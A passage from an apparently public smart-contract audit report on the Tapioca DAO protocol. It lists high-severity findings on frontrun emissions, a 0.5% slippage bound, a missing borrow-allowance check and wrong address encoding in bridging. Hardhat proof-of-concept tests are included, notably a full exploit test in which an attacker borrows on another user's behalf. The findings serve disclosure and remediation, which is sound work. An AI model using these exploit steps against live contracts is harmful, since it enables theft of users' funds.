But, it will cause the distribution to be screwed. If Alice is eligible for gauge rewards until epoch x + 1 (her lock runs out), and the attacker manages to keep the attack running until x + 2, she won’t be able to claim her reward tokens. They will be distributed in epoch x + 3 to all the users who have an active lock at that time.
Here’s a PoC:
// tOB.test.ts
it.only("should fail to emit rewards to gauges if attacker frontruns", async () => {
const {
tOB,
tapOFT,
tOLP,
sglTokenMock,
sglTokenMockAsset,
tapOracleMock,
sglTokenMock2,
sglTokenMock2Asset,
} = await loadFixture(setupFixture);
// Setup tOB
await tOB.oTAPBrokerClaim();
await tapOFT.setMinter(tOB.address);
// No singularities
await expect(tOB.newEpoch()).to.be.revertedWith(
'tOB: No active singularities',
);
// Register sgl
const tapPrice = BN(1e18).mul(2);
await tapOracleMock.set(tapPrice);
await tOLP.registerSingularity(
sglTokenMock.address,
sglTokenMockAsset,
0,
);
await tapOFT.emitForWeek();
await tOB.newEpoch();
const emittedTAP = await tapOFT.getCurrentWeekEmission();
expect(await tOB.singularityGauges(1, sglTokenMockAsset)).to.be.equal(
emittedTAP,
);
})
Test output:
TapiocaOptionBroker
1) should fail to emit rewards to gauges if attacker frontruns
0 passing (1s)
1 failing
1) TapiocaOptionBroker
should fail to emit rewards to gauges if attacker frontruns:
AssertionError: expected 0 to equal 469157964000000000000000. The numerical values of the given "ethers.BigNumber" and "ethers.BigNumber" inputs were compared, and they differed.
+ expected - actual
-0
+469157964000000000000000
at Context.<anonymous> (test/oTAP/tOB.test.ts:606:73)
at processTicksAndRejections (node:internal/process/task_queues:96:5)
at runNextTicks (node:internal/process/task_queues:65:3)
at listOnTimeout (node:internal/timers:528:9)
at processTimers (node:internal/timers:502:7)
Recommended Mitigation Steps
emitForWeek() should return the current week’s emitted amount if it was already called:
function emitForWeek() external notPaused returns (uint256) {
require(_getChainId() == governanceChainIdentifier, "chain not valid");
uint256 week = _timestampToWeek(block.timestamp);
if (emissionForWeek[week] > 0) return emissionForWeek[week];
// ...
0xRektora (Tapioca) confirmed via duplicate issue 192
LSDan (Judge) increase severity to High
[H-53] Potential 99.5% loss in emergencyWithdraw() of two Yieldbox strategies
Submitted by 0xfuje, also found by Madalad, paweenp, carrotsmuggler, kaden, c7e7eff, Brenzee, SaeedAlipoor01988, and Vagner
99.5% of user funds are lost to slippage in two Yieldbox strategies in case of emergencyWithdraw()
Description
Slippage is incorrectly calculated where minAmount is intended to be 99.5%, however it’s calculated to be only 0.5%, making the other 99.5% sandwichable. The usual correct minAmount slippage calculation in other Yieldbox strategy contracts is
uint256 minAmount = calcAmount - (calcAmount * 50) / 10_000;
Calculation logic
In ConvexTriCryptoStrategy and LidoEthStrategy - emergencyWithdraw() allows the owner to withdraw all funds from the external pools. the amount withdrawn from the corresponding pool is calculated to be: uint256 minAmount = (calcWithdraw * 50) / 10_000;. This is incorrect and only 0.5% of the withdrawal.
Let’s calculate with calcWithdraw = 1000 as the amount to withdrawn from the pool.
uint256 incorrectMinAmount = (1000 * 50) / 10_000 = 5
The correct calculation would look like this:
uint256 correctMinAmount = calcWithdraw - (calcWithdraw * 50) / 10_000 aka
uint256 correctMinAmount = 1000 - (1000 * 50) / 10_000 = 995
Withdrawal logic
emergencyWithdraw() of Yieldbox Strategy contracts is meant to remove all liquidity from the corresponding strategy contract’s liquidity pool.
In the case of LidoStrategy the actual withdraw is curveStEthPool.exchange(1, 0, toWithdraw, minAmount) which directly withdraws from the Curve StEth pool.
In the case of ConvexTriCryptoStrategy it’s lpGetter.removeLiquidityWeth(lpBalance, minAmount) and lpGetter withdraws from the Curve Tri Crypto (USDT/WBTC/WETH) pool via removeLiquidityWeth() -> _removeLiquidity() -> liquidityPool.remove_liquidity_one_coin(_amount, _index, _min).
These transactions are vulnerable to front-running and sandwich attacks so the amount withdrawn is only guaranteed to withdraw the minAmount aka 0.5% from the pool which makes the other 99.5% user funds likely to be lost.
Recommended Mitigation Steps
Fix the incorrect minAmount calculation to be uint256 minAmount = calcAmount - (calcAmount * 50) / 10_000; in ConvexTriCryptoStrategy and LidoEthStrategy.
0xRektora (Tapioca) confirmed via duplicate issue 408
[H-54] Anybody can buy collateral on behalf of other users without having any allowance using the multiHopBuyCollateral()
Submitted by 0xStalin, also found by peakbolt, plainshift, KIntern_NA, Ack, and rvierdiiev
- Malicious actors can buy collateral on behalf of other users without having any allowance to do so.
- No unauthorized entity should be allowed to take borrows on behalf of other users.
Proof of Concept
- The
SGLLeverage::multiHopBuyCollateral()function allows users to level up cross-chain: Borrow more and buy collateral with it, the function receives as parameters the account that the borrow will be credited to, the amount of collateral to add (if any), the amount that is being borrowed and a couple of other variables. - The
SGLLeverage::multiHopBuyCollateral()function only calls thesolvent()modifier, which will validate that the account is solvent at the end of the operation. - The
collateralAmountvariable is used to compute the required number of shares to add the specifiedcollateralAmountas extra collateral to the borrower account, then there is a check to validate that the caller has enough allowance to add those shares of collateral, and if so, then the collateral is added and debited to thefromaccount
...
//add collateral
uint256 collateralShare = yieldBox.toShare(
collateralId,
collateralAmount,
false
);
_allowedBorrow(from, collateralShare);
_addCollateral(from, from, false, 0, collateralShare);
...
- After adding the extra collateral (if any), the execution proceeds to call the
_borrow()to ask for a borrow specified by theborrowAmountparameter, and finally calls the USDO::sendForLeverage(). - The problem is that the function only validates if the caller has enough allowance for the
collateralAmountto be added, but it doesn’t check if the caller has enough allowance for the equivalent of shares of theborrowAmount(which is the total amount that will be borrowed!). -
The exploit occurs when a malicious actor calls the
multiHopBuyCollateral()sending the values of the parameters as follows:from=> The account that will buy collateral and the borrow will be credited tocollateralAmount=> Set as 0-
borrowAmount=> The maximum amount that thefromaccount can borrow without falling into insolvency because of the borrowing- What will happen is that a malicious actor without any allowance will be able to skip the check that validates if it has enough allowance to add more collateral, and will be able to take the borrow on behalf of the
fromaccount, because theborrowShare(which represents the equivalent shares to take a borrow ofborrowAmount) is not used to validate if the caller has enough allowance to take that amount of debt on behalf of thefromaccount
- What will happen is that a malicious actor without any allowance will be able to skip the check that validates if it has enough allowance to add more collateral, and will be able to take the borrow on behalf of the
Coded a Poc
-
I used the
tapioca-bar-audit/test/singularity.test.tsas the base for this PoC.- If you’d like to use the original
tapioca-bar-audit/test/singularity.test.tsfile, just make sure to update these two lines as follow:
- If you’d like to use the original
diff --git a/singularity.test.ts b/singularity.test.ts.modified
index 9c82d10..9ba9c76 100755
--- a/singularity.test.ts
+++ b/singularity.test.ts.modified
@@ -3440,6 +3440,7 @@ describe('Singularity test', () => {
it('should bounce between 2 chains', async () => {
const {
deployer,
+ eoa1,
tap,
weth,
createTokenEmptyStrategy,
@@ -4082,7 +4083,7 @@ describe('Singularity test', () => {
ethers.constants.MaxUint256,
);
- await SGL_10.multiHopBuyCollateral(
+ await SGL_10.connect(eoa1).multiHopBuyCollateral(
deployer.address,
0,
bigDummyAmount,
- I highly recommend to create a new test file with the below code snippet for the purpose of validating this vulnerability, make sure to create this file in the same folder as the
tapioca-bar-audit/test/singularity.test.tsfile.
import hre, { ethers } from 'hardhat';
import { BigNumberish, BytesLike, Wallet } from 'ethers';
import { expect } from 'chai';
import { BN, getSGLPermitSignature, register } from './test.utils';
import {
loadFixture,
takeSnapshot,
} from '@nomicfoundation/hardhat-network-helpers';
import { LiquidationQueue__factory } from '../gitsub_tapioca-sdk/src/typechain/tapioca-periphery';
import {
ERC20Mock,
ERC20Mock__factory,
LZEndpointMock__factory,
OracleMock__factory,
UniswapV3SwapperMock__factory,
} from '../gitsub_tapioca-sdk/src/typechain/tapioca-mocks';
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers';
import {
BaseTOFT,
BaseTOFTLeverageModule__factory,
BaseTOFTMarketModule__factory,
BaseTOFTOptionsModule__factory,
BaseTOFTStrategyModule__factory,
TapiocaOFT,
TapiocaOFT__factory,
TapiocaWrapper__factory,
} from '../gitsub_tapioca-sdk/src/typechain/tapiocaz';
import TapiocaOFTArtifact from '../gitsub_tapioca-sdk/src/artifacts/tapiocaz/TapiocaOFT.json';
describe('Singularity test', () => {
describe('multiHopBuyCollateral()', async () => {
const deployYieldBox = async (signer: SignerWithAddress) => {
const uriBuilder = await (
await ethers.getContractFactory('YieldBoxURIBuilder')
).deploy();
const yieldBox = await (
await ethers.getContractFactory('YieldBox')
).deploy(ethers.constants.AddressZero, uriBuilder.address);
return { uriBuilder, yieldBox };
};
const deployLZEndpointMock = async (
chainId: number,
signer: SignerWithAddress,
) => {
const LZEndpointMock = new LZEndpointMock__factory(signer);
return await LZEndpointMock.deploy(chainId);
};
const deployTapiocaWrapper = async (signer: SignerWithAddress) => {
const TapiocaWrapper = new TapiocaWrapper__factory(signer);
return await TapiocaWrapper.deploy(signer.address);
};
const Tx_deployTapiocaOFT = async (
lzEndpoint: string,
isNative: boolean,
erc20Address: string,
yieldBoxAddress: string,
hostChainID: number,
hostChainNetworkSigner: SignerWithAddress,
) => {
const erc20 = (
await ethers.getContractAt('IERC20Metadata', erc20Address)
).connect(hostChainNetworkSigner);
const erc20name = await erc20.name();
const erc20symbol = await erc20.symbol();
const erc20decimal = await erc20.decimals();
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
// @ts-ignore
const BaseTOFTLeverageModule = new BaseTOFTLeverageModule__factory(
hostChainNetworkSigner,
);
const leverageModule = await BaseTOFTLeverageModule.deploy(
lzEndpoint,
erc20Address,
yieldBoxAddress,
erc20name,
erc20symbol,
erc20decimal,
hostChainID,
);
const BaseTOFTStrategyModule = new BaseTOFTStrategyModule__factory(
hostChainNetworkSigner,
);
const strategyModule = await BaseTOFTStrategyModule.deploy(
lzEndpoint,
erc20Address,
yieldBoxAddress,
erc20name,
erc20symbol,
erc20decimal,
hostChainID,
);
const BaseTOFTMarketModule = new BaseTOFTMarketModule__factory(
hostChainNetworkSigner,
);
const marketModule = await BaseTOFTMarketModule.deploy(
lzEndpoint,
erc20Address,
yieldBoxAddress,
erc20name,
erc20symbol,
erc20decimal,
hostChainID,
);
const BaseTOFTOptionsModule = new BaseTOFTOptionsModule__factory(
hostChainNetworkSigner,
);
const optionsModule = await BaseTOFTOptionsModule.deploy(
lzEndpoint,
erc20Address,
yieldBoxAddress,
erc20name,
erc20symbol,
erc20decimal,
hostChainID,
);
const args: Parameters<TapiocaOFT__factory['deploy']> = [
lzEndpoint,
erc20Address,
yieldBoxAddress,
erc20name,
erc20symbol,
erc20decimal,
hostChainID,
leverageModule.address,
strategyModule.address,
marketModule.address,
optionsModule.address,
];
const TapiocaOFT = new TapiocaOFT__factory(hostChainNetworkSigner);
const txData = TapiocaOFT.getDeployTransaction(...args)
.data as BytesLike;
return { txData, args };
};
const attachTapiocaOFT = async (
address: string,
signer: SignerWithAddress,
) => {
const tapiocaOFT = new ethers.Contract(
address,
TapiocaOFTArtifact.abi,
signer,
);
return tapiocaOFT.connect(signer);
};
const mintAndApprove = async (
erc20Mock: ERC20Mock,
toft: BaseTOFT,
signer: SignerWithAddress,
amount: BigNumberish,
) => {
await erc20Mock.freeMint(amount);
await erc20Mock.approve(toft.address, amount);
};
it('Attacker will take a borrow on behalf of another user without having any allowance', async () => {
const {
deployer,
eoa1,
tap,
weth,
createTokenEmptyStrategy,
deployCurveStableToUsdoBidder,
magnetar,
createWethUsd0Singularity,
registerBigBangMarket,
wethUsdcOracle,
} = await loadFixture(register);
//Deploy LZEndpointMock
const LZEndpointMock_chainID_0 = await deployLZEndpointMock(
0,
deployer,
);
const LZEndpointMock_chainID_10 = await deployLZEndpointMock(
10,
deployer,
);
//Deploy TapiocaWrapper
const tapiocaWrapper_0 = await deployTapiocaWrapper(deployer);
const tapiocaWrapper_10 = await deployTapiocaWrapper(deployer);
//Deploy YB and Strategies
const yieldBox0Data = await deployYieldBox(deployer);
const YieldBox_0 = yieldBox0Data.yieldBox;
const usdo_0_leverage = await (
await ethers.getContractFactory('USDOLeverageModule')
).deploy(LZEndpointMock_chainID_0.address, YieldBox_0.address);
const usdo_0_market = await (
await ethers.getContractFactory('USDOMarketModule')
).deploy(LZEndpointMock_chainID_0.address, YieldBox_0.address);
const usdo_0_options = await (
await ethers.getContractFactory('USDOOptionsModule')
).deploy(LZEndpointMock_chainID_0.address, YieldBox_0.address);
const USDO_0 = await (
await ethers.getContractFactory('USDO')
).deploy(
LZEndpointMock_chainID_0.address,
YieldBox_0.address,
deployer.address,
usdo_0_leverage.address,
usdo_0_market.address,
usdo_0_options.address,
);
await USDO_0.deployed();
const usdo_10_leverage = await (
await ethers.getContractFactory('USDOLeverageModule')
).deploy(LZEndpointMock_chainID_10.address, YieldBox_0.address);
const usdo_10_market = await (
await ethers.getContractFactory('USDOMarketModule')
).deploy(LZEndpointMock_chainID_10.address, YieldBox_0.address);
const usdo_10_options = await (
await ethers.getContractFactory('USDOOptionsModule')
).deploy(LZEndpointMock_chainID_10.address, YieldBox_0.address);
const USDO_10 = await (
await ethers.getContractFactory('USDO')
).deploy(
LZEndpointMock_chainID_10.address,
YieldBox_0.address,
deployer.address,
usdo_10_leverage.address,
usdo_10_market.address,
usdo_10_options.address,
);
await USDO_10.deployed();
//Deploy Penrose
const BAR_0 = await (
await ethers.getContractFactory('Penrose')
).deploy(
YieldBox_0.address,
tap.address,
weth.address,
deployer.address,
);
await BAR_0.deployed();
await BAR_0.setUsdoToken(USDO_0.address);
//Deploy ERC20Mock
const ERC20Mock = new ERC20Mock__factory(deployer);
const erc20Mock = await ERC20Mock.deploy(
'erc20Mock',
'MOCK',
0,
18,
deployer.address,
);
await erc20Mock.toggleRestrictions();
// master contract
const mediumRiskMC_0 = await (
await ethers.getContractFactory('Singularity')
).deploy();
await mediumRiskMC_0.deployed();
await BAR_0.registerSingularityMasterContract(
mediumRiskMC_0.address,
1,
);
const mediumRiskMCBigBang_0 = await (
await ethers.getContractFactory('BigBang')
).deploy();
await mediumRiskMCBigBang_0.deployed();
await BAR_0.registerBigBangMasterContract(
mediumRiskMCBigBang_0.address,
1,
);
//Deploy TapiocaOFT
{
const txData =
await tapiocaWrapper_0.populateTransaction.createTOFT(
erc20Mock.address,
(
await Tx_deployTapiocaOFT(
LZEndpointMock_chainID_0.address,
false,
erc20Mock.address,
YieldBox_0.address,
31337,
deployer,
)
).txData,
ethers.utils.randomBytes(32),
false,
);
txData.gasLimit = await hre.ethers.provider.estimateGas(txData);
await deployer.sendTransaction(txData);
}
const tapiocaOFT0 = (await attachTapiocaOFT(
await tapiocaWrapper_0.tapiocaOFTs(
(await tapiocaWrapper_0.tapiocaOFTLength()).sub(1),
),
deployer,
)) as TapiocaOFT;
{
const txData =
await tapiocaWrapper_10.populateTransaction.createTOFT(
erc20Mock.address,
(
await Tx_deployTapiocaOFT(
LZEndpointMock_chainID_10.address,
false,
erc20Mock.address,
YieldBox_0.address,
31337,
deployer,
)
).txData,
ethers.utils.randomBytes(32),
false,
);
txData.gasLimit = await hre.ethers.provider.estimateGas(txData);
await deployer.sendTransaction(txData);
}
const tapiocaOFT10 = (await attachTapiocaOFT(
await tapiocaWrapper_10.tapiocaOFTs(
(await tapiocaWrapper_10.tapiocaOFTLength()).sub(1),
),
deployer,
)) as TapiocaOFT;
//Deploy strategies
const Strategy_0 = await createTokenEmptyStrategy(
YieldBox_0.address,
tapiocaOFT0.address,
);
const Strategy_10 = await createTokenEmptyStrategy(
YieldBox_0.address,
tapiocaOFT10.address,
);
// Set trusted remotes
const dstChainId0 = await LZEndpointMock_chainID_0.getChainId();
const dstChainId10 = await LZEndpointMock_chainID_10.getChainId();
await USDO_0.setTrustedRemote(
dstChainId10,
ethers.utils.solidityPack(
['address', 'address'],
[USDO_10.address, USDO_0.address],
),
);
await USDO_0.setTrustedRemote(
31337,
ethers.utils.solidityPack(
['address', 'address'],
[USDO_10.address, USDO_0.address],
),
);
await USDO_10.setTrustedRemote(
dstChainId0,
ethers.utils.solidityPack(
['address', 'address'],
[USDO_0.address, USDO_10.address],
),
);
await USDO_10.setTrustedRemote(
31337,
ethers.utils.solidityPack(
['address', 'address'],
[USDO_0.address, USDO_10.address],
),
);
await tapiocaWrapper_0.executeTOFT(
tapiocaOFT0.address,
tapiocaOFT0.interface.encodeFunctionData('setTrustedRemote', [
dstChainId10,
ethers.utils.solidityPack(
['address', 'address'],
[tapiocaOFT10.address, tapiocaOFT0.address],
),
]),
true,
);
await tapiocaWrapper_0.executeTOFT(
tapiocaOFT0.address,
tapiocaOFT0.interface.encodeFunctionData('setTrustedRemote', [
31337,
ethers.utils.solidityPack(
['address', 'address'],
[tapiocaOFT10.address, tapiocaOFT0.address],
),
]),
true,
);
await tapiocaWrapper_10.executeTOFT(
tapiocaOFT10.address,
tapiocaOFT10.interface.encodeFunctionData('setTrustedRemote', [
dstChainId0,
ethers.utils.solidityPack(
['address', 'address'],
[tapiocaOFT0.address, tapiocaOFT10.address],
),
]),
true,
);
await tapiocaWrapper_10.executeTOFT(
tapiocaOFT10.address,
tapiocaOFT10.interface.encodeFunctionData('setTrustedRemote', [
dstChainId10,
ethers.utils.solidityPack(
['address', 'address'],
[tapiocaOFT0.address, tapiocaOFT10.address],
),
]),
true,
);
await tapiocaWrapper_10.executeTOFT(
tapiocaOFT10.address,
tapiocaOFT10.interface.encodeFunctionData('setTrustedRemote', [
31337,
ethers.utils.solidityPack(
['address', 'address'],
[tapiocaOFT0.address, tapiocaOFT10.address],
),
]),
true,
);
// Link endpoints with addresses
await LZEndpointMock_chainID_0.setDestLzEndpoint(
tapiocaOFT0.address,
LZEndpointMock_chainID_10.address,
);
await LZEndpointMock_chainID_10.setDestLzEndpoint(
tapiocaOFT0.address,
LZEndpointMock_chainID_0.address,
);
await LZEndpointMock_chainID_0.setDestLzEndpoint(
tapiocaOFT0.address,
LZEndpointMock_chainID_0.address,
);
await LZEndpointMock_chainID_10.setDestLzEndpoint(
tapiocaOFT10.address,
LZEndpointMock_chainID_10.address,
);
await LZEndpointMock_chainID_0.setDestLzEndpoint(
tapiocaOFT10.address,
LZEndpointMock_chainID_10.address,
);
await LZEndpointMock_chainID_10.setDestLzEndpoint(
tapiocaOFT10.address,
LZEndpointMock_chainID_0.address,
);
await LZEndpointMock_chainID_0.setDestLzEndpoint(
USDO_10.address,
LZEndpointMock_chainID_10.address,
);
await LZEndpointMock_chainID_0.setDestLzEndpoint(
USDO_0.address,
LZEndpointMock_chainID_10.address,
);
await LZEndpointMock_chainID_10.setDestLzEndpoint(
USDO_0.address,
LZEndpointMock_chainID_0.address,
);
await LZEndpointMock_chainID_10.setDestLzEndpoint(
USDO_10.address,
LZEndpointMock_chainID_0.address,
);
//Register tokens on YB
await YieldBox_0.registerAsset(
1,
tapiocaOFT0.address,
Strategy_0.address,
0,
);
await YieldBox_0.registerAsset(
1,
tapiocaOFT10.address,
Strategy_10.address,
0,
);
const tapiocaOFT0Id = await YieldBox_0.ids(
1,
tapiocaOFT0.address,
Strategy_0.address,
0,
);
const tapiocaOFT10Id = await YieldBox_0.ids(
1,
tapiocaOFT10.address,
Strategy_10.address,
0,
);
expect(tapiocaOFT0Id.gt(0)).to.be.true;
expect(tapiocaOFT10Id.gt(0)).to.be.true;
expect(tapiocaOFT10Id.gt(tapiocaOFT0Id)).to.be.true;
const bigDummyAmount = ethers.utils.parseEther('10');
await mintAndApprove(
erc20Mock,
tapiocaOFT0,
deployer,
bigDummyAmount,
);
await tapiocaOFT0.wrap(
deployer.address,
deployer.address,
bigDummyAmount,
);
await tapiocaOFT0.approve(
YieldBox_0.address,
ethers.constants.MaxUint256,
);
const toDepositShare = await YieldBox_0.toShare(
tapiocaOFT0Id,
bigDummyAmount,
false,
);
await YieldBox_0.depositAsset(
tapiocaOFT0Id,
deployer.address,
deployer.address,
0,
toDepositShare,
);
let yb0Balance = await YieldBox_0.amountOf(
deployer.address,
tapiocaOFT0Id,
);
expect(yb0Balance.eq(bigDummyAmount)).to.be.true; //bc of the yield
const { stableToUsdoBidder, curveSwapper } =
await deployCurveStableToUsdoBidder(
YieldBox_0,
tapiocaOFT0,
USDO_0,
false,
);
let sglMarketData = await createWethUsd0Singularity(
USDO_0,
tapiocaOFT0,
BAR_0,
await BAR_0.usdoAssetId(),
tapiocaOFT0Id,
mediumRiskMC_0,
YieldBox_0,
stableToUsdoBidder,
0,
);
const SGL_0 = sglMarketData.wethUsdoSingularity;
sglMarketData = await createWethUsd0Singularity(
USDO_0,
tapiocaOFT10,
BAR_0,
await BAR_0.usdoAssetId(),
tapiocaOFT10Id,
mediumRiskMC_0,
YieldBox_0,
stableToUsdoBidder,
0,
);
const SGL_10 = sglMarketData.wethUsdoSingularity;
await tapiocaOFT0.approve(
SGL_0.address,
ethers.constants.MaxUint256,
);
await YieldBox_0.setApprovalForAll(SGL_0.address, true);
await SGL_0.addCollateral(
deployer.address,
deployer.address,
false,
bigDummyAmount,
0,
);
const collateralShare = await SGL_0.userCollateralShare(
deployer.address,
);
expect(collateralShare.gt(0)).to.be.true;
const collateralAmount = await YieldBox_0.toAmount(
tapiocaOFT0Id,
collateralShare,
false,
);
expect(collateralAmount.eq(bigDummyAmount)).to.be.true;
//test wrap
await mintAndApprove(
erc20Mock,
tapiocaOFT10,
deployer,
bigDummyAmount,
);
await tapiocaOFT10.wrap(
deployer.address,
deployer.address,
bigDummyAmount,
);
const tapioca10Balance = await tapiocaOFT10.balanceOf(
deployer.address,
);
expect(tapioca10Balance.eq(bigDummyAmount)).to.be.true;
await tapiocaOFT10.approve(
YieldBox_0.address,
ethers.constants.MaxUint256,
);
await YieldBox_0.depositAsset(
tapiocaOFT10Id,
deployer.address,
deployer.address,
0,
toDepositShare,
);
yb0Balance = await YieldBox_0.amountOf(
deployer.address,
tapiocaOFT10Id,
);
expect(yb0Balance.eq(bigDummyAmount)).to.be.true; //bc of the yield
await tapiocaOFT10.approve(
SGL_10.address,
ethers.constants.MaxUint256,
);
await YieldBox_0.setApprovalForAll(SGL_10.address, true);
await SGL_10.addCollateral(
deployer.address,
deployer.address,
false,
bigDummyAmount,
0,
);
const sgl10CollateralShare = await SGL_10.userCollateralShare(
deployer.address,
);
expect(sgl10CollateralShare.eq(collateralShare)).to.be.true;
const UniswapV3SwapperMock = new UniswapV3SwapperMock__factory(
deployer,
);
const uniV3SwapperMock = await UniswapV3SwapperMock.deploy(
ethers.constants.AddressZero,
);
//lend some USD0 to SGL_10
const oraclePrice = BN(1).mul((1e18).toString());
const OracleMock = new OracleMock__factory(deployer);
const oracleMock = await OracleMock.deploy(
'WETHMOracle',
'WETHMOracle',
(1e18).toString(),
);
await wethUsdcOracle.deployed();
await wethUsdcOracle.set(oraclePrice);
const { bigBangMarket } = await registerBigBangMarket(
mediumRiskMCBigBang_0.address,
YieldBox_0,
BAR_0,
weth,
await BAR_0.wethAssetId(),
oracleMock,
0,
0,
0,
0,
0,
);
await weth.freeMint(bigDummyAmount.mul(5));
await weth.approve(
bigBangMarket.address,
ethers.constants.MaxUint256,
);
await weth.approve(YieldBox_0.address, ethers.constants.MaxUint256);
await YieldBox_0.setApprovalForAll(bigBangMarket.address, true);
await YieldBox_0.depositAsset(
await BAR_0.wethAssetId(),
deployer.address,
deployer.address,
bigDummyAmount.mul(5),
0,
);
await bigBangMarket.addCollateral(
deployer.address,
deployer.address,
false,
bigDummyAmount.mul(5),
0,
);
const bigBangCollateralShare =
await bigBangMarket.userCollateralShare(deployer.address);
expect(bigBangCollateralShare.gt(0)).to.be.true;
const collateralIdSaved = await bigBangMarket.collateralId();
const wethId = await BAR_0.wethAssetId();
expect(collateralIdSaved.eq(wethId)).to.be.true;
await USDO_0.setMinterStatus(bigBangMarket.address, true);
await bigBangMarket.borrow(
deployer.address,
deployer.address,
bigDummyAmount.mul(3),
);
const usdoBorrowPart = await bigBangMarket.userBorrowPart(
deployer.address,
);
expect(usdoBorrowPart.gt(0)).to.be.true;
await YieldBox_0.withdraw(
await bigBangMarket.assetId(),
deployer.address,
deployer.address,
bigDummyAmount.mul(3),
0,
);
const usdoBalance = await USDO_0.balanceOf(deployer.address);
expect(usdoBalance.gt(0)).to.be.true;
const usdoBalanceShare = await YieldBox_0.toShare(
await bigBangMarket.assetId(),
usdoBalance.div(2),
false,
);
await USDO_0.approve(
YieldBox_0.address,
ethers.constants.MaxUint256,
);
await YieldBox_0.depositAsset(
await bigBangMarket.assetId(),
deployer.address,
deployer.address,
usdoBalance.div(2),
0,
);
await SGL_10.addAsset(
deployer.address,
deployer.address,
false,
usdoBalanceShare,
);
const totalSGL10Asset = await SGL_10.totalAsset();
expect(totalSGL10Asset[0].gt(0)).to.be.true;
let airdropAdapterParamsDst = hre.ethers.utils.solidityPack(
['uint16', 'uint', 'uint', 'address'],
[
2,
1_000_000, //extra gas limit; min 200k
ethers.utils.parseEther('2'), //amount of eth to airdrop
USDO_10.address,
],
);
const airdropAdapterParamsSrc = hre.ethers.utils.solidityPack(
['uint16', 'uint', 'uint', 'address'],
[
2,
1_000_000, //extra gas limit; min 200k
ethers.utils.parseEther('1'), //amount of eth to airdrop
magnetar.address,
],
);
const sgl10Asset = await SGL_10.asset();
expect(sgl10Asset).to.eq(USDO_0.address);
const userCollateralShareBefore = await SGL_0.userCollateralShare(
deployer.address,
);
expect(userCollateralShareBefore.eq(bigDummyAmount.mul(1e8))).to.be
.true;
const borrowPartBefore = await SGL_10.userBorrowPart(
deployer.address,
);
expect(borrowPartBefore.eq(0)).to.be.true;
await BAR_0.setSwapper(uniV3SwapperMock.address, true);
await SGL_0.approve(
tapiocaOFT0.address,
ethers.constants.MaxUint256,
);
await SGL_0.approveBorrow(
tapiocaOFT0.address,
ethers.constants.MaxUint256,
);
await SGL_10.connect(eoa1).multiHopBuyCollateral(
deployer.address,
0,
bigDummyAmount,
{
tokenOut: await tapiocaOFT10.erc20(),
amountOutMin: 0,
data: ethers.utils.toUtf8Bytes(''),
},
{
srcExtraGasLimit: 1_000_000,
lzSrcChainId: 0,
lzDstChainId: 10,
zroPaymentAddress: ethers.constants.AddressZero,
dstAirdropAdapterParam: airdropAdapterParamsDst,
srcAirdropAdapterParam: airdropAdapterParamsSrc,
refundAddress: deployer.address,
},
{
swapper: uniV3SwapperMock.address,
magnetar: magnetar.address,
tOft: tapiocaOFT10.address,
srcMarket: SGL_0.address, //there should be SGL_10 here in a normal situation; however, due to the current setup and how tokens are linked together, it will point to SGL_0
},
{
value: ethers.utils.parseEther('10'),
},
);
const userCollateralShareAfter = await SGL_0.userCollateralShare(
deployer.address,
);
expect(userCollateralShareAfter.gt(userCollateralShareBefore)).to.be
.true;
const userCollateralAmount = await YieldBox_0.toAmount(
tapiocaOFT10Id,
userCollateralShareAfter,
false,
);
expect(userCollateralAmount.eq(bigDummyAmount.mul(2))).to.be.true;
const borrowPartAfter = await SGL_10.userBorrowPart(
deployer.address,
);
expect(borrowPartAfter.gt(bigDummyAmount)).to.be.true;
});
});
});
- The PoC will demonstrate how an attacker can take borrows on behalf of other users without having any allowance by exploiting a vulnerability in the multiHopBuyCollateral()

Recommended Mitigation Steps
- Make sure to validate that the caller has enough allowance to take the borrow specified by the
borrowAmount. - Use the returned amount
borrowSharefrom the_borrow()to validate if the caller has enough allowance to take that borrow.
function multiHopBuyCollateral(
address from,
uint256 collateralAmount,
uint256 borrowAmount,
IUSDOBase.ILeverageSwapData calldata swapData,
IUSDOBase.ILeverageLZData calldata lzData,
IUSDOBase.ILeverageExternalContractsData calldata externalData
) external payable notPaused solvent(from) {
...
//borrow
(, uint256 borrowShare) = _borrow(from, from, borrowAmount);
+ //@audit => Validate that the caller has enough allowance to take the borrow
+ _allowedBorrow(from, borrowShare);
...
}
0xRektora (Tapioca) confirmed via duplicate issue 121
[H-55] _sendToken implementation in Balancer.sol is wrong which will make the underlying erc20 be send to a random address and lost
Submitted by Vagner
The function _sendToken is called on rebalance to perform the rebalance operation by the owner which will transfer native token or the underlying ERC20 for a specific tOFT token to other chains. This function uses the router from Stargate to transfer the tokens, but the implementation of the swap is done wrong which will make the tokens to be lost.
Proof of Concept
_sendToken calls Stargate’s router swap function with the all the parameters needed as can be seen here https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/Balancer.sol#L322-L332, but the problem relies that the destination address is computed by calling abi.encode(connectedOFTs[_oft][_dstChainId].dstOft) instead of the abi.encodePacked(connectedOFTs[_oft][_dstChainId].dstOft) https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/Balancer.sol#L316-L318.
Per Stargate documentation https://stargateprotocol.gitbook.io/stargate/developers/how-to-swap , the address of the swap need to casted to bytes by using abi.encodePacked and not abi.encode, casting which is done correctly in the _sendNative function https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/Balancer.sol#L291 . The big difference between abi.encodePacked and abi.encode is that abi.encode will fill the remaining 12 bytes of casting a 20 bytes address with 0 values. Here is an example of casting the address 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
bytes normalAbi = 0x0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4;
bytes packedAbi = 0x5b38da6a701c568545dcfcb03fcb875f56beddc4;
This will hurt the whole logic of the swap since when the lzReceive function on the Bridge.sol contract from Startgate will be called, the address where the funds will be sent will be a wrong address. As you can see here the lzReceive on Bridge.sol for Abitrum for example uses assembly to load 20 bytes of the payload to the toAddress https://arbiscan.io/address/0x352d8275aae3e0c2404d9f68f6cee084b5beb3dd#code#F1#L88
which in our case, for the address that I provided as an example it would be
toAddress = 0x0000000000000000000000005b38Da6A701c5685;
because abi.encode was used instead of abi.ecnodePacked.
Then it will try to swap the tokens to this address, by calling sgReceive on it, which will not exist in most of the case and the assets will be lost, as specified by Stargate documentation https://stargateprotocol.gitbook.io/stargate/composability-stargatecomposed.sol
